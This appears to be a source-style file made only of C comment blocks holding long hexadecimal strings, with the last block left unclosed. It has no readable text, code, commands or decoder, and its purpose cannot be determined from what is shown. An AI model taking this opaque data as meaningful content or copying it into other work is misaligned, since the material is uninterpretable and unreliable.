/*9cbb89be96ed81a9b393df62b59d77502fa748f87b619e1ffe0b2bbc057da9a9e5d46daf33260132ce43500f693ac36af2b0769f1e089b44cb77187ff83925be006ff0c8c3afdd3044d6c61970e59b661973203a339d9af7c0c7e95ac10202181a12d0852d2b90fed0afa4738a5c6bc6dea5e1c6c852a8201e7496f9c0c5c0d216a70f409a1fd3df8dff1a10cdda695a32dd45ee140e4ee2d1f9b4e80ea045b68ed347e68b2835dd7ea34ea40e0b69b169d618b61d6dc56a781a0913838ea7b312784f13bcda3b86edc58cfcda6f452322743adaa0ab463b7a43f2a77b9dae7a7da4b9e1384b835f315b75105325f3728061c6206dcbb0a9ba8ac9e77ec30a44f6c615249df9dda674c50d35b08f89afe05273368598420bcb4759559d30f1a79f3c90a33d0693ce215e988d2df653af1795a9c74ab9deb306eef291252baab7eb3b95f007592c1001baa6855843be33474138c713ef240e95b71453fd53f9b34783d647cbc353f60db82f31a307cb6f7a52404b10750a068df78eced14d0ecb063bb20b0a732c40cf10984104afec826c0b25b6dd2f80d18fddbf1ef53a2fbf44a0c70aa9e1337a9c3ca196a2d8d8f4fea518486e4f2069a67ba93b938a15666acc43fdbc954b8286c4e312c1255373d5f925075bb94e6d5acc8530af4477678091a9232b6433f07db63c74c4dec88a6610cb67a93078a0e6a6a3c7dfff7c166e0dacfef2d6d317409336d9f76aafe42a34baba4fd6983808ab48bb1a1da1106b30b59c1aacdfbed59d1cf335976082153d7496e72171667e0c423f2c7e3e1e96f0b3a00faad96a51954836b970cf8f58afc03629f8013c7f2a8b18240acb6088d7ff51a4a220a83a350f8349586b2b477f118a1c1d4d609f4f7f35c2111cedda1077823c2a8e3b1436ee418f876e58e15ae40ca911039b4419880bc19694a24b165f677bdea9630f0e3441d1ed9e8825187d66673575e5ce9ae2413a14cbd115d904592956377360b992cc23af5889326d3c04beec2cc3957accbe8065c46d92a2ee93aeb7b4fed7b55c4d7c4164f57424b5930d81820fcaeae38fe1732fcbdfe3183f5c8a07b5dff9a49d9c536f7425bdec8f474ebc683c56e029c9e4b8c4244cd87fb0a15f654868fd9c393d77bb0df918be9fd335c8b93582f1a6765b074084ecea477502be311dbfc9b587992fa8d652be69b7bcc8c88fc6f1c0f9a638b2b86e431721d1c56e17e50896023148f4626230a79f55c365889b2b05d70056e68daab1fb7d18479040061fa3ff78bb6693d3ae4e9da687e1a90a9d0774955bd0e66f8dd2b63b4aef4490ef4fb87302170bbbac4c21ebd6b73505e1bdf30f80ad6d17280499973f808325aee1fc216ba8e5975b59ea14299e3bab080745af76a4d923a6bf9d1e5b911e31afefe57b40b877e6fe5abd4d6f61bc81bc120cb93f969bc3435c2eeed9e325467b6310f7f51c291687e25ac6c4f6a3c36c7e02782744e0f602788d0230b36e1391f643d6eb8f9283c6212ded9858597aeb62c2fd0d615bd9fd977324e405b1028bdadad1f4c1d14686e8ff233df7c2610380694fb588436f8ca6f9401308e1a4c2808d1c25b0645dd71351ad26254534c250e18eed29fb5edf41abd732278a559c18d9ee069e1356dabc4b0234e1dd38c911a45c99e7d3b78090bc6cdd63985ccbf128430039a02762dc94e32a944ab9f95ca4928f9b0f4c72951f2af615d7dd17be04e9a8e6dda8af4f2b367482a0873feff16155f351ec892444be35b7b90ca139459c177299ee254dd1e24164c3899662c1c211f42bee25b7798fa2280838889430a515d223ffa5d1a0e27fcc165179c19897dabcfdc79fd63a244f58b5ca942f96229920f712a18b8b44ba67e507b50b18a21a1c9fc21ec9f1e7e0cd46537c2c7bd27cb03d95d25a205641662e2016b3dbb3d1f9c71269ed6ec365a1ad5dad00a05eae8fefb91adac1a254086e8a3672280844e97d8dfd53aee93ca509688d0d0bb44bad560a5044f34342ecd3f7504dd727b45fc5b49d65929f7a953ae0d4627239638138f292e87dd02813543be3380f5ddf3bbf2b789f096b7dfda355cb6a5b70e31b0650329e4a16f155a84485b16b62966bff5c7b65b01a6bf4ed0fd9b7d9990982d7020c2545b1d0ce11a4d1f2ba81528d5c606216464357021b7e5efba9e06836ed519f7b168450bd186effb09c279a5bb2629bb6e132fca9374ff8ab6aa67fc736b88727b87e4fd12dcf29b5b93f2f63372305fc30f791ba474b326d9e3085d4617dda409098c28604a033cc762d0f489827ddf176b0f545ea2ab7a83b0a26da9d97372625f5eb63883fd95934d8d29af4afa68fbf69da39aa944dbc671c937604042a0a67bfcf00540e3b23e76db6e0158965a18c28fc496109921a50c3123519a1a18ead53d692cc212b4f3b9cd9587774771fb45a26ffe1318f9e1304ea7b78108912d22b7c55ce927314b09beffda312e402a21e748008cebbf7d7211d22c914b6f799b4bae2cb0c7c41561e24eec0d86ea5b7f3241349983f80c3005bff64e475be891fb933d05b1d1e16390eed64d2ea20d6e6ea8611b69106ca13bde4c8c1da08458366ae83635728e0d95d104620f78c0a16cc5dd39e9e5e08264e0ca5ffccc022ff6cf63004b5b27a92644af386e24d341f6f320191cd620bd0f6f4fe91489b684c798a8f629714a62dad920af5fe59a4ea5f7ce954e754dd861b1d26ae562af75e0c06c105b791d32e0fa10fc048843cad8b1ebebe28a8d680cb178e42ad34710d1137216c86f2567c5f4947b53dd716c3603c6d075c03a79ac5*/
/*c3f9f32f3afaa349fe86a8a206d4e769c43afb18113ff1caa8eb728098041b947ab59811a80bac89dd822e3cdce8923f053aa14735c8da0d3ddef0908c1a03a5052def91c81fb6fd2d3f77380871b547bc0490eaa730d9e8f6953828151f52e9219c4fe89c55fd3ed1397668d7df55b45cd5aaeb387228fdc3f5da59b2e1c72415a1a99512feeeb5227f44e7d6f64bbbb1fed258e9f11c7ba9c83ce0868c45569cd8b6acd9053619559a1552f1caa2493066436d96e6a66c778e9aa7deeb9cb6c8a6375e94f82ed66c0fc0341537f1c5e617ae3fd79b25cb03407f13a01860bf654abaec28b5a6cd0f6f55749684b2d092cd4c4a67439856599b921d4f885a281dc8eaa5c22127b1e567ca5240fb25cbe9cfd9537dd798de25fd0d66f8b4568084ea50c29be64ec071da8af6c1fc68de9426fc41f5597a4e682e7a80db4dcf2ee0b4acd80b3f3f379f2405568c3949ccd0c252a81a84c983da77647cdcecf15cb3a5485a2a9cd9d94569019e30d36eb9e04c26a56a06ceeb3ae11935fbdbaf52890118f29470d1b3939977d04ab429d4fd4dfdd47f7ea6f2ebedc5ee3d6eedb46c386227580239eee3755345549c68f4ea0a6354068ef537bdde2f8829f82ffdbe3496882a5c83ad33dd356488f79d6f1f923e125429da45f1271f4b289d89cf19d0b1167178a7c546e9e1488070a575627a3053a756bbcce5d0d59de897ff72d18d1431b6ef8d8d74b678f8331aabc0448174c398862e8f3a6dc3c36e32b31c89cfcbb833245a240ccf1ca96fae8c6823e8b5d88dc10bf6c60986264790ff164f89165d517aeff1bfe2b29eda6c3af2c72435a9d2cf0133f82cd9f77a7ff60abee32fdc5c8e87fd234166197197c40e18ef3ee42f50e031003b5895d7b339db2262d5e4b06f646843ee257cd91768672dc98247fcae3713a07a8094dd95795f00517a81697eb15ad992342e568d3885567ce4639344c3ec4045238215c59b1c23e78e8d78ea907f07501e8c298f0556c539f3dd47be30b2ca76c6df4f130f8a53ffa0c3a7be519e8e5e97dc3c98c5c875ecf2d6a3b6488ddbf654c84e59d8ff115da8f0bfe23beba7315a560e329adc2bb1d35203e0250666042904e93e189321df7bfb4abc5342649a8a7ae2f85c46aa9e6c077607bbfa7ae8bb7024587a3c4a009138163dc3b29726cd38276cf407d6c18a876ecc89307afa220ad45fb68d4d5e64a9955c89d3ee9c0b0dc088320005c8c47e7aff747d600d087d4a11ce95febfdc2b3f98d7d2689f5bc3cc828e1622caf66efcc950ea250b496dcf0f44980de1c15e69d27bd6481945bb691efccd3aed7ca767925510d5f8bc581b1a9039f863bb850f85284505a9553c9a7a2d3173e46f6c3a120b12f41adea1686ee13ce90b662a4a027ce389cdc329f71a9bba7e9e4d1ec0212e38f756ccc38bd0960dc7435507d40b5fbcc5330ad06487bcb7f568cf3aea0c2d9edc5071a6d40cfbd7cc2a5e6932b91c64de1126bd15ccdba69aaa89fbd0d24798f6637ba9a6f19de08e543627ea3d3b449471d032fa5edcf43c4cfa6fd110eb9938defde2ddfb7a3f97d13433f151fc09a21e9d89727e907bddc1460a3dc71e14d16fb5f385a9745e77fa20dd2a032464d81a500cd12259ad58f15e2fd494fa3f16555836676f7f3089877358da5dd9435439810e062c2dd1dc4dd4bf0c40a420a75ba3984ba44e79594aa66dba8b36ab86a029d256a78260420de9b209ef80408d85b797be6024976912eeb6aa922709f0854223afb49d244f21bb1951dcd693c26cbb20bad5a9f5375e17cae0972a3cf2df9ca009a4ff6a6f9fe89e5669986480d92f57c278e6b5f91f1611115e6d379c71d868305a51efd9dc7dfdace8d4dc238bcb64434059cd3871828a59a46df4e26305a908eb19d866ca49863c73811f74d5928c8f55715137b8a49213a43800a4414b685a3f6d16e04f9fb917ced47ee46278d93db47912c38b95648d14fb596230fd1483cb7e48dce2d7d844be742ca3bbf5fc7f717945295516aa59f81fcdfa3d0a69ce2b0a5056b5478d809eb9833cc6f395cbdfbb04c6f5a48841e316761e287921c986ca398440d2a80002c294a509916ae62ceb0fab66ac763dae8536542d96e77305236fbc45e91a19ca8c78a8379e17579363da075051e08f587a73b281053c02447e1837c3298a453f3b67ba72878e66053bf9484689d1f6581bae7e1af9b273e893f4d925781937615fe4ee61400b9752b060048ecbfb505e9d64d6970e7ab77ca0a2e796fbcfa840fb88d4109635a3b5649970bd11e539ee6770bbe5b6343c126ac3ccc8dae4d9b4fb76a577cf51b9c73cebc7e38579b6f20d6f5388b0ade6e24ec5fdc804278ed25d8db16b6a64c7a965e692d42ac781db9ee8b91daca030a7817bb448666ad2ec78469950d6fe1fdb5823fbefb35ec35f7b5d88fb8d83c32e7904a7dad69a222ce2757adf4925e153daaaf47bcb6c70e6b97663c99a0d0a3bf20c71ce475e381df424eb1e7c2aecbc9744119ec1f36654fd90fa8c8a950da316e84bd1f5cf8965696e8a3affb546227133ac965b565942c91b5f6cb6f6200b71470b55fa0b862f14f7e0fb692ac176865012ed3e9e55265b937b9126e58f0e04c1c6988790fb70223dbd701145f9b359e6b03aaf7f35c979406eb766fd1ac39bfbbe73d61704db7d0f3b8763c9f50988856afc1283ea0a2d4ee2ff54474f71ab8575bcde2b965ecee54f3af3e53492618ed3a5bd855df4501ef33b4ae4fa3058e0f3e78d9f70b87765a5ba36efec7dcf1880325cbf80093e8a160e4bf8c8c15dfe*/
/*aa29944afe1771066ebb039bd1de43d0bfbfbef19bcd32a7579b911f6c4c3e8bb57351b3c247229459c091b2d306f61fe8bd552e6dd48e647402debf87539bcdee5b3d3ec2062674cfd565534133c920d6139b5c7ce2ee2cfd0d2661097b21064c74da7b36c0899fcec4ae920934c7d8a797f2f890cbdcbbec2f6069d81094f343d223f62577b9e4a36591ead0037f9893b242856b53b5289be74bea362d58966396bd000aa1717d43a525b0a2c07a095f2fc26d42595527e56244a29658264e2089f90ae72167f1a1feb29e13c016dc8ceed3b420e29505d125e9024e22aea34a7d357d957c25faf0c3ab8341f1153087d85ec78abc5a21c2f3b16eca273dcee84deb21846485cdc0bf20b49c7394a54bc9e240b435ad7e5e81e73937cf31f2d7f687ff9724bf37d7e0e9e602af130f0874db14b78fe5675d9d78978418b77ae85c9d5e9a0c233fe0e97c12d40b6dbde8a3ea0f34131fe1a40377839453170ba7522f8328c3663562be5160a0f704b0a28ede1a88be3f08c4ca8addb725d36f16bde9a4cf62628dd551a33135c3f9ba0fd393a79a49e8ceec8bde8a26d216e10151e5e4e8ab3c181e2c6d170bcaef9ff7831391bf7226f197ca0b8fd152fc697122dd22713071b24fed92cb073dfe74b0acb23aa1a64b3c14292668e2c9e872936ab20e1eabc00030bccbe2c5a7a1f110536b76a49ffd67259a5415664beb50d2fe7652e42151cbcdd2474e53e9475c271d67002e8ce62ebf2fd2c7b204701e5e5ff2da6c2279ec179779eb239261e82e95138f87efa45417c6715086a054a7d95e6b175fc1d58fa79f8e74c8e3c842d1df36687d8affc9102cad626395bb50c46af0632ebd36bca710fdff8317f8d9db0c7374ed442edd5090959f5f7a6f6266fc59d0545ac3fe23e73112d7e87ee73c6dc4faf4a1562bd2b5092dd222a5ecb0d1ff6fc13cdbb33ffc7a8eb2e73a8463d1f40130cf5564fae26e96bd41db5d613bca1c4646ace75a8cfe1aa3a5ed6c34054cf4d89ef9a7eafbe9123d581865b15237a71c9a9d806827a6a8539a6dfa8999478d71dea5eacda0edb06f0f31e3973e6127114ad1185cce9863c70d1d41840086f025b39df229605a7948aa3cd5218ae2eaf6daf4b575b262911a7c30a3f684d16de04898e3eacc52962d6a8c81742a86c2eccd69aae153566217adc18aff100c3ce69f0eac28484a034d38a82226fc9bb5231dcb1601f72340615a41fc93816059817caf539381949a7edd628b93c0a207565334f4681136b690b02d95e77e3462177569a5eaebd7cecf16c22ebbd36b99f832b57983bd4561c531cd92ef0a702115f4af16552946c9d622fcb9f19fe84a161cb4eb5ff08f45a2616cfcd338daf6af0d5f14e33b5901ddf1bffecde3bc3c862898ca9c626d6b1e1a4d79be0819909f922583ad37372f7a0e0895facf8aa0bc6d44176c9a230c30576a09a01ba3b0ae7fbd605662a5fa0d6898ea877c0d147867921efb4ed62ad80ce654871f93f118ce517206ff9407c4d6e3813f9dd0e199cdb888fd27d04d1aa1c5b2c2a549439575c22df2122c290af446443e435c1f3e219e07aee8226d506ce8812a1f20048f3268c89900eee409a591665c3bc7ab25b5f3dfb563fe7e601c08a6559b4f3a907d60f5df8e3073152c7a7f453107b854fb9344aa4ad98488843e78622882a68665540108d7d3a57bcd5aabbb7deb833c7e370e16cccd4f2638c20608449636e550d505d8cbc8eb20fcd878898ee08dba1f7b3f7913de94091af898fca0f9198e98addaa236e6c99232ca0a1fafe48dd230d05b50e11a047bf196db7ed412a9e5aa89874d9fef57eb1e3007a039ff611a5f1b654df0728544854d553bc17151b68432650f7794cf0b6e690c3db12f81f43cb28525025274922119dea824dd8822341b47f75c7acc75421817f04799ff3299c53aa48e24f077ac474d501ef6db3340369bd5eb7315d3f7c5103d872578fe6e30569c50d5424809e41daa31830fd54dbbeb74ee2fb3e38e41df2889e4c9ed15e0e1cb46d98ff408c560426881d8b62eb0472fd7cb058028ee4c3417bed9fcc7ab41a6c2cc684138137070f52331df290f963c5b7e5753f6a9354eaa51f34428344d3281788f66af1c67cdd3331c05baac3b6548ae6b8b655f4410449cb6f9896090744133cdf14192d57039fdd5c0f0a71e05fb1d1374fc5ea0c66d7b1a002db714cacab8f501128843d10291d4c105e0e0521c3eba6389b6cc5a734c51b2bf1400630082a4ca528f7206655d1485b7230527e37d766ca31f71084d730f30d009743602e4872ca846f329312b8ad27bff977ebd8c9754cc0dcb93024c0ffa95598ccd79a8539764025cdda352f2d133b9adf71b4515041cebfe551ef395707a17e7e36cb32e7e279cf4321cccd59144c78592e977bc339e427e0b115dbf9cf58b76f8d5ed4db9915c5e9bf0316553b74c4aa5c5f62a36c63824fbe662ab10fa590a99e4341009ac33da38cd2c2750d63bc62ba760167a8bf92b80f1abb1704e3f0fff5bb33e10d0332d830d0fa5b6c9b0ebf37bf8e4db72c0620d168866ae41d470e1a748e21e0493e11b77505bcac557b7d663e7328ee7b48d2c84f7a7bced2de349fef76b1d179bf6dcaa0ccf00050c9110cb54b5f1323609fe8c0fc424ae5efaef8f56f154527383f8ff6b73bbd409a11339e6367acf7c269b6868cb5c2376c904e5a777da615b5a9751b5aa9ea6bc2da2bd746cbd3e0ab2335a9093cc5056f74da41ceaf2ffeb092961a0bff0ad889a7edf7649cfda65159aff25c27d58866da02d5ffa8a3f571b*/
/*6c77437c25a966570f8ae5a4f98fb1cd0fefe08edec146d13af40446962e131fd718821aaf50facf2ee5f8b57209ee53a708a109ab552b14102ec926634da5aca8574d16d5e8df180cd3ef15ae3f1ca12fc36474fb619436f626e40eec47dd79308f3283815be74a5cf49ccdff23796c48e77ffbc497c7bd13080d1feec2c30a72de28b02abbc5804fbd279a449921a9568ee2e8ced92065bb52d8c486aabd05b0e0418fa98054f7b27f01a63ff5c15769963dee552a16f2617f55d25a04af2c6ce91c75e0d9ac5616e18067c9281ed72660393fe268429a6bb405a7030d92db1e0c138092d518a12a8a9dd195080849e0ae82fcea5e9b9501c43710e0aa49bd775e654c2553eb10125ad186d16e965e626948b27b5b259a97fec3f43151ff4b18ec7e9271c549a20996247031a23e5919732d3604964174ff3fe96c9e5c8b0de00d2818bb1363dac0667c06100ddd8655bfe81d8ccd0a5ef8333b55a8d0717575d5217ffd0e347fb3ef8e8fd86dd04ac91e6742b4b39eceb0d6467f2e7cd79b75b852712cb4edf49353ce91b5a4b1143fee77a9135324caff731fe7ecf7290d25d229e3bf938638ecb868b24fccc2fae01e52d734f855b71092e23f01f58dea23722f5d057318b3e0f0fc18de74eb92066016c7597cb22250d1c7bbc909033af3cb1fb4418193f27b543fcf3cab5c7c3ff508f7072a7669c62268e1226513f835e8ba3b21392de875d9825d62c9e132c43eb7dd2ca21e44dd6c6c2e5d18598c6c3b9b2680936398a4c0db303806ebdae2c213597d3df2dbe4361765eb6ad051f4285467da2a41e08cdb528658e976488a75e5e4f6322ea65c26761e0dd15a4a60400bac64afcfb99863cdde5a9ef5837f5e8a423b939904873052b96bd952161ff6047fa3fd96a562a73d989f58106f3bf0d661d5dbd039156901268f980dd0b9245b4cb1579bdea07bd41d2a4b9d32b0736109cd1e4ed616d0ae633eec229c12224ea5d7ef85630e3cfa91a80608ef5f68dd8e025efadc579445b67121174fab491bb5ccdddf2dc201f55e69dca3a4f5de576e984cf02f3c9062b87bf2aaa65d6e7ad7291c414eeacf5542f064ada165c640672d90955bbd0e139ee1df83105157b5866842e7a8b7a6e70c961c543121055c0a5a06b31737089a35cefdcc4b8fdf9505f4cef7911841e971946b2ffa9516f7c71b6de0c12d78215f311f8acd3168ea38dacdddcf91ed13af1c05a40a52db7336f3fd3eff3d4699fd94b1138174e6d0347b52120a0ad264a488b1b3b7a6c185d3a1bf53146f56d4c44664b66df6b77497a1c592e12340846d2b242d8c4760a6f109cbebac69cdd8d3f800293046c37622337b652b52a255135f5ae72100584d813f5fec384975f6bf43e9c29f12621dcf176e9f594a0caac226e9af5b72f6163ad5a7b1747de2c2c1ed6904b34891551055ff3f9d5afa6355e4ce10a7acab77473e553771e8ada2b7746a941b51abeea8234b095c7ded523b9a3c89f6552e2402ee2fae14583076339bb296ec77f6789d502e964b4286f803afc0d16c25417a377b0b7bbf0238a9874f59ff068382684374754849f5269c61f1fb31bc3f2d7b51d9966907b46322164a700c3339f69448abd3f2ac60f24c06d9a628723f8ceafb2edc6ae8e999de6fa9e180e4fb672af444ab58d376241a28ed08917aa1acb67a7996b7c548654592c755c6db05370bf1b294bf946e373687fa595a919f0c0c63ba5cf8ce2c92eebb9e40451bb1cc5e14841e6127e7f4690976d65d7579481f9cabfd4101aa0314b3d9ea73335e3a7c96a8d74896f739f6502895bf4619856b786eb9c7c9b4f8b732c82e8c0d372c910492f94d5661462ed4fad3d913029183e139e58165810ecf33ff10f93a69e5d4904264ff8e8e8d23723af39969b163dfeca630be800a1861092187483f1b9c53d6f89aa562f598888c6d4b12846dac56453e26d1dd36ee487d6c25940fdf72918cd887532f70b4d90b77710de4d3d335648ef6a697930c96b7791537b3e321b7bc525c9f5ccb34cc7dcfae757f7322c59265f431aedeb0167c3eea4a443dd2c4adf7b1d7f01d2eeeb720e928196b4344cdd1296248d392b5dd1ad860c3c3233b1b979dafd410e31bd2b63aec40b832849e2188c1993efc5bea8d6d46dbe6848653dc525629f652ad65c3e236a44eca03797923f82f10d828f20cc224264cac6be3604d88269034916551fceb173cbfd49549024304cbe8296ae7b7a3927a6bd3d953788b533356f9648892adb5751c4dcd43cd01e929f63468eae112af02bc777dca8ee8e3cf38482cef94d119344160bbe76ee79a2fe485984554530ebe25b483c54a031a5f66d5ba2ab0eced54f8c4bb110c98e4dde240c7523763ec2094442052760ff1083c499dee4f9c821b72b85cf2198cf8339fb9704917279678d37a7afb38703722e1e59141cd955e5012a4091685322ace57935cd28ae12d4eda78ba27ba4dabe3df927ba9efa40d324531bd97c560485519cd5fd209ac19469353903e4d17efd2abc3e941d96cd24032ceaa49769ba3ca5e2558aa8af3b671f0c34f1b650874a487a59d9817f7154f680343acc1e5130495024344a156425dca0fb42a674316e57847150f0da763f9e554c8226d85ccfd728d0e2aae95538cab692133e284ea522bbe49cbcdc13dce59a39ad4bae5504bba80420e6f66dc473603bf3a74b93d4f2c66a4fbd185faae4169f98b2761445369e503e9562b6dfa8f298b070e7b80262924059f63b5690b2e3c8bbf0130df7812ca1d8d3a2d322416229168cd9048f060ca1a73a87d20*/
/*07a0a26490f2e16296861d4d0b2dfbb4c5bb5fbe281a21d0202d0187ccef3b50f4b0406687360cb2dd220c604c2f345926292e15bb8cbe21deeec734a34fc41cca1eb4f6a219c52cb7850f0977a292b28aefba598fc6cc63fbbdccf4f264b0347acf334adfc483756c632fa1e32204679bd8b05264bdce6858bc80ce4ef6e1170e6b7f64b04cb0dd82b6b0f827529f915aa11b9ac8c032e91a16ba1b1982fe1cfc9cecd0a14d97806edb8d4bb041f00ca367f8922628e9f479ef328a17feb03a63a87d1083ace700d0474de89bc6d939d4143b5cbd6be8716fcdccdde292222c64dcc12727467d4997e263fb1de127ed1589c00c127f378bbd5ba66814d9d6d582855b492db719a7e5f2e1456ac82b0366c46efed57807d14e216cec584d9cc10352698f5621ae43d6f062022b1434f307bf89c40a8287dd3afbe9469ffae98c880647bbdcc716bbb71415276d2e7378181285f050e662fc631c8856e51ddf42b5a339db510e7352be1755b5ea0b5191da894dae0165b8aed4cd72f52b35f7aa9da955c558eb6cb5707dfd786cdea0626017ff51b79c8f94729f19b827a953548aade403be1d58934f09e63407b8ff9c25802e92d649dafda77f41c9b407089984dd072d422e9ae83be947178cc06a46fdc2042b95c2881683233033f43fb4e2cbb5936f926f796914ee79486ed5b8d2f21eaba0f9c469513cb85ee0322c493aae9ffa602a75e670f0886c29c4e81ac8ef0694548ef3220259af896e7e0ebb1eb77aa971c40f109375006dc2c4ea9089fcc5271ce75261d80e0f83b8c15fdefca0b07afe589820a4f01a46a77adb1a2b0ad082f6289f4961fa92a53beacb924f51433b7e45416cee3c4301b01b845bbfb58a7e5775bcbb70d5b288606facbccc1f0814fa471da9977512284f9a345d6df0c5d43dbcea0674fbe9f37dcf6e4d6341f07d6660bf2f73fbdcbc2304b30e1db6c3a22badc4c4c2fc74fa85d36a7bfe3984fcc8c2f34df34e41033e900518708816e0e66e1e91753763f13a41a3ea6bd6b9157e204fdd5cab4c7a4f20b7e9ebabadc25ee1261df1795b3beb0876b935c95c4f33e8fdb4f08344871327b048725da660e2b25a8f65a3b90b8012c034c9998bc4d5259d887643c882c273da9fc4ed306c0545487484791954971f9ffdf2c946d9737b1b533548e42ff3e6c2acb3596438a72797a9689fbf4dbbb337c9a367099ca3fffd6b0de5f5ee26865a2f612f777939a3df7a8c80d09a8138253a8449aebc76c9371b5eee75e97f82d0b654671dfe7cf700fd4a04fc5b9cfb1267f734229f2ec396ab95480aa601195cc0adc3d7d3cca9f32a543acb6049e32e1bc5f5ba981569d495e330d2aaa81bb74cedd1c66dfff8525908f845fdb8903124cf03dcfe08e7019a2fea4fe2e34c6de06a3a1ee74ec5234d867243630dff8e810b485beff9a9697a6aa101994ceb0e831d7e4183d29b381818ca5f968fb9da4c07a1580c8298a4896730823d4d908445b12b7ff54b1202f8263235a18f4a29936fbca2e99de93c73a9911370f97467f53d894cc9a296a60b420773da9c005a5ca653948fd10506e69b1032fca40ff94cfaf57f5c8abd5f81b7811fcdf87be06f811d66a075a9c86f6215e62457a035b0f9ca5a3e11b25c2868fac5cc4fd56b852420b7010a24bf5028d92dd485968f42bc125a8abac54fa792c9e0e2d91d66ad35e865c7d109a5c05c2e4774e230367b19b4e9cbf28f67c9ba87ce9ce09902552205368c1a12e152f319cd5a48be550f1684f42dac87a45b6b47c4ae59c932a2fe5cda026ad8e55e7f8bd90cb2926d0bb7cdc10b056692610b64316eac9f0ef74501b0d0174d56e47d2cff3e80607272e74909d5a7a4b46dfcb4ac65b9de0c782631ec40cedb7dc2ac2848c29fc0b1a71815ee3d9d72b364982e7e424e265987667058bd00915697d68ca948aa596417f67dc64995e0b40883e7689856ec9859d37be17caa75829c2dcfe94d073603e231af3001ed386507f966d5254d56bd77d4aa363c62755e46d7be280a31aa87fed13f0d1ef87567ecea2f306aa6f63e16ea4ec15549e3f440906adb1f46aaa434105f2b5877937bbb3f7e3d9cc525b274cea8b137a709e1136b202cdaf905680b19a89d92509dd563ca48a714fbeb790be0985fc41ea321a0802b38bb6cc530d5072e52545e9a40be57b641aa70b518306765098766628409d8b0a675087b500802057c5c4470800244697a8649b61911a52e1157387d4b8893051166f94c6bb591a947f935f92e78db90ab8f64458f716eb39b6a4a3f69f5329ad76164e7ee5650681e35ee1364394eab97a4bed5c8bec33d3e343fe557ef80c1985cb4bf120f2551c2c9f54ae14c59901d9f10a582d427e1bfe2701cd345a4b6db919b1ca355ae71c1e5bc531ce139583096edb5fd5eba77a4072decb2cfef8a23bd5984da1723ddd6084970411667c981619da24161b0a1c1a7bc0ff49a1bf05bd0c988a0eacad052b755d9fb2652adb881bb67f0cd190cce565b446989d78207dcf77679c6261bcd4dcd6715d532daec7f36b4e9c00d8747356c902b1fc1749c3c8b7306ae3559c2e649ea5ba323d1aad7b024486901927acb04e9ec4b83c34b9550d42dced493d6b1f8ee916bf145b11f2e06fb79f19ae1d8d36efd7ec5575d7e6ad129c61555e8e77a2e2b6bf843899a691c257fe13fbd783d5097855915f6b58083f7922cdfa7bf9704c3e75af1d3d5c1640ca3263b4f67f406dc0edb1ad329beb9f56669598e1964d96dde4ea38f1f39cdae35050e086ae3036d22d429876797fba18d90*/
/*a3637b89b4c9d6af79c4bcfd080dfaa6318b7297ef9fe1a1e2fe16102150f325f58d72c4220c9852f23abf3a707999cbd6d37f1f4a606468479a679c423beb7696f3c3005ad6c591971545a6aef220ddbb1d0fedcf2d2120556a840fb84a8cd0d4d50527a96708dde21b2c1e3e4840720cbab209f0c231b111b060d8eebe1ce9089fd37a53b7214ca6bb0476d70d91d87592b4365bc422aca8dfbc068452829582ee7579a0a502f8ebf8a4f19a69f15c343f057efa2434079fe562c782031169bcae63fb52f8b7e88700c7f95e40fccc48839c0652dd1b574238d4fbd4e4eefcc0c5f3cac79280f7eabf3b101048a1740e0b7c1fd8f1a9390b07775d64810ec789d761a560f8ec576fb991ebce222b85c7cdd8ec6ad684fd4ca0e400f174e3c879acd183dd83e28d6905550488f30b92910ecdff93e93131e12a656135927d38376ed2d9ece9b6937807c2056a20cb0ff4071ee4a6e5e52f4b914e7995492fabb9af4b7b7613966f15e8356248c89d7f90d160d23be1bab2d7461133e486ffa789c0238dec964ab1bf175e39c28442b480035a8ddee9f90db74a8086bac478f87eb8633ca53462569a140a8ba29425ead1422e0791ab0123a36e20294831ec66358bbf67da27e6b86a77bef03c8d6cc276cefbfa5559dce6814516cfd8f592f7087ae430df6b5c514d4f68091d81c3a08e7b3004d2c17dab4eb424f3911b699cdb511501ddafb42aa9baaf13e191b612566d7b22313cd267c56fd680cdd0e6410b26e469a7e139e6fad9e29b5eccc4a0c5233879a84b3e3877415247c430e38f4cd6b215a981d32030ebc1216b152199929e27aa41901ec70aa0b5119601108c1a2bf2690a28c3fe596de135873f0b323c222997ae55433c03fa375d348afe1987b46c9292187ccd4a069b738768e675b6549ac4cf9aa70882d28f669affc99be63bd071d10f34865cdeae3ef54b741543f309d13fbfdd4769efe18834041cb73669b74dd199856db1395633a73ceb1317692b2b926164ed3d1c46ae0cf0942f01c6e30136c3477dc0527c23a878455a4ecb777eeddacb7c0e145f9a33682f0607dba16d0b628d2a9fe420a039d26f15467114ca33572a57b704cd3ca5a07e3f0072cb7a9412432228bd4753e3e14332ca95461c21a9d7784231c427d632d29a08aa0a55a208a09a3160d7553b7f97305afc0ee7f9336a5a267edb487aa0cf52ba18e452c5543412c2d1693e09e4c7905fdda56f049030dc8c5d5f242cecf15e268f88fd14ef9e74e7cb5b86a65270ca1921969b3979af6096eb6827e8bf5d749b83ee7d4c31475d4f3c06e2b4974aa279b99b798f5ea4052685d9a3bb571a6a0ebb85c7db5b5cf77093615f839b1bdb0d7f961faf9c722c5fa95df81ef4558b6bbe51a8c8632192eb38a371a21cb3ec479f68371846508968255bdad21ae10c74b47f39a82679943a9a23323b26cc59e0f58c756a0fd4fe40399f677d2ad92a1875f4955e25aedcb2d92d36966cb004e642d8cd05b4ab2318d2b737dfd583ea95bb483d7c95e5c4ca2f52a8b9ec6a60f16af1a460c75c1907779fb2111f5e68a31e548d660d23516ad113d90913e6fdf258240508f7f5c97cf4e495f5e9c3ecb542925e3a81c065a23e3ff8b1c149c09637cf582268518e92860e100ffdbb3b784a246cb1ce7d7ed12d0deafe835fbaab66ce7638b0b5f097c528b08c997e037898d9f31ec06874142de3156d6a4223cf1a357ff7593fc34a03cd7984825f8b98264ce02dd9043736cb87e0cfa254276586dc64a698660f0fcb9bd42de9b20f271ad9c11e8d3a969799edc443d32827f3419f5c0b6864faae610a3a061c1a2ff2079b52ff9bd89d5c368ed807f5d1de47405da255c91a0a14838aaf57159eb3be3205f1a8d2fde02d3d70f5d85c0320be4ec06f1b327efeecbe4a90052f7d62017523ab6b65aa0bde405940f6dca65b3053280fc4cbc3c7463f10c32b90b5f7174dc02b4a3429c24cb003d193dca1fa9fbc8275e788993804f2817ba441adb22db05831b0852016a5b03cb7f4ff1efb01fb1c3c160e68e1f9b560b457b41a1e19eadf5955261b1a0a26af15c773afa8f50d85b0711a6576db01a31da31aac4a48b9d5b747453dd98918ac5f0def3d58c4eaa904c9ff26a8137c075f63ac7bc6b3a85781888de5fe0033ce58451250b5d342d8d63a1787377d33fed4f1b0c4b996e36f